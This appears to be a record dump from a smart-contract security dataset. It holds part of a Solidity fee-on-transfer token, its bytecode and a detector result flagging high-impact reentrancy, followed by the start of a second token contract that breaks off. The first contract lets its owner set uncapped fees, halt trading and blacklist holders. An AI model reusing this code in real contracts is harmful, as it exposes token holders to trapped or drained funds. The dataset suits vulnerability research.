10**9; uint256 public _maxWalletSize = 300000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b41146101fe57806398a5c3151461047d57600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192c565b6105c8565b005b34801561020a57600080fd5b50604080518082018252600781526629a424a123aaa760c91b6020820152905161023491906119f1565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a46565b610667565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50670de0b6b3a76400005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611a72565b61067e565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060155461028d906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611ab3565b6106e7565b34801561036857600080fd5b506101fc610377366004611ae0565b610732565b34801561038857600080fd5b506101fc61077a565b34801561039d57600080fd5b506102bc6103ac366004611ab3565b6107c5565b3480156103bd57600080fd5b506101fc6107e7565b3480156103d257600080fd5b506101fc6103e1366004611afb565b61085b565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506102bc610417366004611ab3565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028d565b34801561045357600080fd5b506101fc610462366004611ae0565b61088a565b34801561047357600080fd5b506102bc60175481565b34801561048957600080fd5b506101fc610498366004611afb565b6108d2565b3480156104a957600080fd5b506101fc6104b8366004611b14565b610901565b3480156104c957600080fd5b5061025d6104d8366004611a46565b61093f565b3480156104e957600080fd5b5061025d6104f8366004611ab3565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc61094c565b34801561052e57600080fd5b506101fc61053d366004611b46565b6109a0565b34801561054e57600080fd5b506102bc61055d366004611bca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a3366004611afb565b610a41565b3480156105b457600080fd5b506101fc6105c3366004611ab3565b610a70565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611c03565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611c38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611c64565b9150506105fe565b5050565b6000610674338484610b5a565b5060015b92915050565b600061068b848484610c7e565b6106dd84336106d885604051806060016040528060288152602001611d7e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ba565b610b5a565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107af57506013546001600160a01b0316336001600160a01b0316145b6107b857600080fd5b476107c2816111f4565b50565b6001600160a01b0381166000908152600260205260408120546106789061122e565b6000546001600160a01b031633146108115760405162461bcd60e51b81526004016105f290611c03565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016105f290611c03565b601655565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b81526004016105f290611c03565b601855565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016105f290611c03565b600893909355600a91909155600955600b55565b6000610674338484610c7e565b6012546001600160a01b0316336001600160a01b0316148061098157506013546001600160a01b0316336001600160a01b0316145b61098a57600080fd5b6000610995306107c5565b90506107c2816112b2565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f290611c03565b60005b82811015610a3b5781600560008686858181106109ec576109ec611c38565b9050602002016020810190610a019190611ab3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3381611c64565b9150506109cd565b50505050565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105f290611c03565b601755565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b038116610aff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610c1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610da65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dd257506000546001600160a01b03838116911614155b156110b357601554600160a01b900460ff16610e6b576000546001600160a01b03848116911614610e6b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b601654811115610ebd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff16158015610eff57506001600160a01b03821660009081526010602052604090205460ff16155b610f575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b03838116911614610fdc5760175481610f79846107c5565b610f839190611c7f565b10610fdc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b6000610fe7306107c5565b6018546016549192508210159082106110005760165491505b8080156110175750601554600160a81b900460ff16155b801561103157506015546001600160a01b03868116911614155b80156110465750601554600160b01b900460ff165b801561106b57506001600160a01b03851660009081526005602052604090205460ff16155b801561109057506001600160a01b03841660009081526005602052604090205460ff16155b156110b05761109e826112b2565b4780156110ae576110ae476111f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f557506001600160a01b03831660009081526005602052604090205460ff165b8061112757506015546001600160a01b0385811691161480159061112757506015546001600160a01b03848116911614155b15611134575060006111ae565b6015546001600160a01b03858116911614801561115f57506014546001600160a01b03848116911614155b1561117157600854600c55600954600d555b6015546001600160a01b03848116911614801561119c57506014546001600160a01b03858116911614155b156111ae57600a54600c55600b54600d555b610a3b8484848461143b565b600081848411156111de5760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611c97565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b60006006548211156112955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b600061129f611469565b90506112ab838261148c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fa576112fa611c38565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113869190611cae565b8160018151811061139957611399611c38565b6001600160a01b0392831660209182029290920101526014546113bf9130911684610b5a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f8908590600090869030904290600401611ccb565b600060405180830381600087803b15801561141257600080fd5b505af1158015611426573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611448576114486114ce565b6114538484846114fc565b80610a3b57610a3b600e54600c55600f54600d55565b60008060006114766115f3565b9092509050611485828261148c565b9250505090565b60006112ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b600c541580156114de5750600d54155b156114e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150e87611661565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154090876116be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156f9086611700565b6001600160a01b0389166000908152600260205260409020556115918161175f565b61159b84836117a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160e828261148c565b82101561162a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116545760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611d3c565b600080600080600080600080600061167e8a600c54600d546117cd565b925092509250600061168e611469565b905060008060006116a18e878787611822565b919e509c509a509598509396509194505050505091939550919395565b60006112ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ba565b60008061170d8385611c7f565b9050838110156112ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b6000611769611469565b905060006117778383611872565b306000908152600260205260409020549091506117949082611700565b30600090815260026020526040902055505050565b6006546117b690836116be565b6006556007546117c69082611700565b6007555050565b60008080806117e760646117e18989611872565b9061148c565b905060006117fa60646117e18a89611872565b905060006118128261180c8b866116be565b906116be565b9992985090965090945050505050565b60008080806118318886611872565b9050600061183f8887611872565b9050600061184d8888611872565b9050600061185f8261180c86866116be565b939b939a50919850919650505050505050565b60008261188157506000610678565b600061188d8385611d5e565b90508261189a8583611d3c565b146112ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b803561192781611907565b919050565b6000602080838503121561193f57600080fd5b823567ffffffffffffffff8082111561195757600080fd5b818501915085601f83011261196b57600080fd5b81358181111561197d5761197d6118f1565b8060051b604051601f19603f830116810181811085821117156119a2576119a26118f1565b6040529182528482019250838101850191888311156119c057600080fd5b938501935b828510156119e5576119d68561191c565b845293850193928501926119c5565b98975050505050505050565b600060208083528351808285015260005b81811015611a1e57858101830151858201604001528201611a02565b81811115611a30576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5957600080fd5b8235611a6481611907565b946020939093013593505050565b600080600060608486031215611a8757600080fd5b8335611a9281611907565b92506020840135611aa281611907565b929592945050506040919091013590565b600060208284031215611ac557600080fd5b81356112ab81611907565b8035801515811461192757600080fd5b600060208284031215611af257600080fd5b6112ab82611ad0565b600060208284031215611b0d57600080fd5b5035919050565b60008060008060808587031215611b2a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b8760208260051b8501011115611bab57600080fd5b602092830195509350611bc19186019050611ad0565b90509250925092565b60008060408385031215611bdd57600080fd5b8235611be881611907565b91506020830135611bf881611907565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7857611c78611c4e565b5060010190565b60008219821115611c9257611c92611c4e565b500190565b600082821015611ca957611ca9611c4e565b500390565b600060208284031215611cc057600080fd5b81516112ab81611907565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1b5784516001600160a01b031683529383019391830191600101611cf6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7857611d78611c4e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d18a68b963461d145f5b0bf6b9949f2c171d071fbc55e6d22509b192f6a2a3a64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
9,511
0x0e73984bef22ad938b32ecab5a76130223116718
/** *Submitted for verification at Etherscan.io on 2021-07-09 */ pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } // function renounceOwnership() public onlyOwner { // emit OwnershipTransferred(_owner, address(0)); // _owner = address(0); // } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Ownable { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyOwner { _addPauser(account); } function removePauser(address account) public onlyOwner { _removePauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; event Issue(address indexed account, uint256 amount); event Redeem(address indexed account, uint256 value); function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _issue(address account, uint256 amount) internal { require(account != address(0), "CoinFactory: issue to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); emit Issue(account, amount); } function _redeem(address account, uint256 value) internal { require(account != address(0), "CoinFactory: redeem from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); emit Redeem(account, value); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } contract CoinFactoryAdminRole is Ownable { using Roles for Roles.Role; event CoinFactoryAdminRoleAdded(address indexed account); event CoinFactoryAdminRoleRemoved(address indexed account); Roles.Role private _coinFactoryAdmins; constructor () internal { _addCoinFactoryAdmin(msg.sender); } modifier onlyCoinFactoryAdmin() { require(isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: caller does not have the CoinFactoryAdmin role"); _; } function isCoinFactoryAdmin(address account) public view returns (bool) { return _coinFactoryAdmins.has(account); } function addCoinFactoryAdmin(address account) public onlyOwner { _addCoinFactoryAdmin(account); } function removeCoinFactoryAdmin(address account) public onlyOwner { _removeCoinFactoryAdmin(account); } function renounceCoinFactoryAdmin() public { _removeCoinFactoryAdmin(msg.sender); } function _addCoinFactoryAdmin(address account) internal { _coinFactoryAdmins.add(account); emit CoinFactoryAdminRoleAdded(account); } function _removeCoinFactoryAdmin(address account) internal { _coinFactoryAdmins.remove(account); emit CoinFactoryAdminRoleRemoved(account); } } contract CoinFactory is ERC20, CoinFactoryAdminRole { function issue(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) { _issue(account, amount); return true; } function redeem(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) { _redeem(account, amount); return true; } } contract BlacklistAdminRole is Ownable { using Roles for Roles.Role; event BlacklistAdminAdded(address indexed account); event BlacklistAdminRemoved(address indexed account); Roles.Role private _blacklistAdmins; constructor () internal { _addBlacklistAdmin(msg.sender); } modifier onlyBlacklistAdmin() { require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role"); _; } function isBlacklistAdmin(address account) public view returns (bool) { return _blacklistAdmins.has(account); } function addBlacklistAdmin(address account) public onlyOwner { _addBlacklistAdmin(account); } function removeBlacklistAdmin(address account) public onlyOwner { _removeBlacklistAdmin(account); } function renounceBlacklistAdmin() public { _removeBlacklistAdmin(msg.sender); } function _addBlacklistAdmin(address account) internal { _blacklistAdmins.add(account); emit BlacklistAdminAdded(account); } function _removeBlacklistAdmin(address account) internal { _blacklistAdmins.remove(account); emit BlacklistAdminRemoved(account); } } contract Blacklist is ERC20, BlacklistAdminRole { mapping (address => bool) private _blacklist; event BlacklistAdded(address indexed account); event BlacklistRemoved(address indexed account); function isBlacklist(address account) public view returns (bool) { return _blacklist[account]; } function addBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) { for(uint i = 0; i < accounts.length; i++) { _addBlacklist(accounts[i]); } } 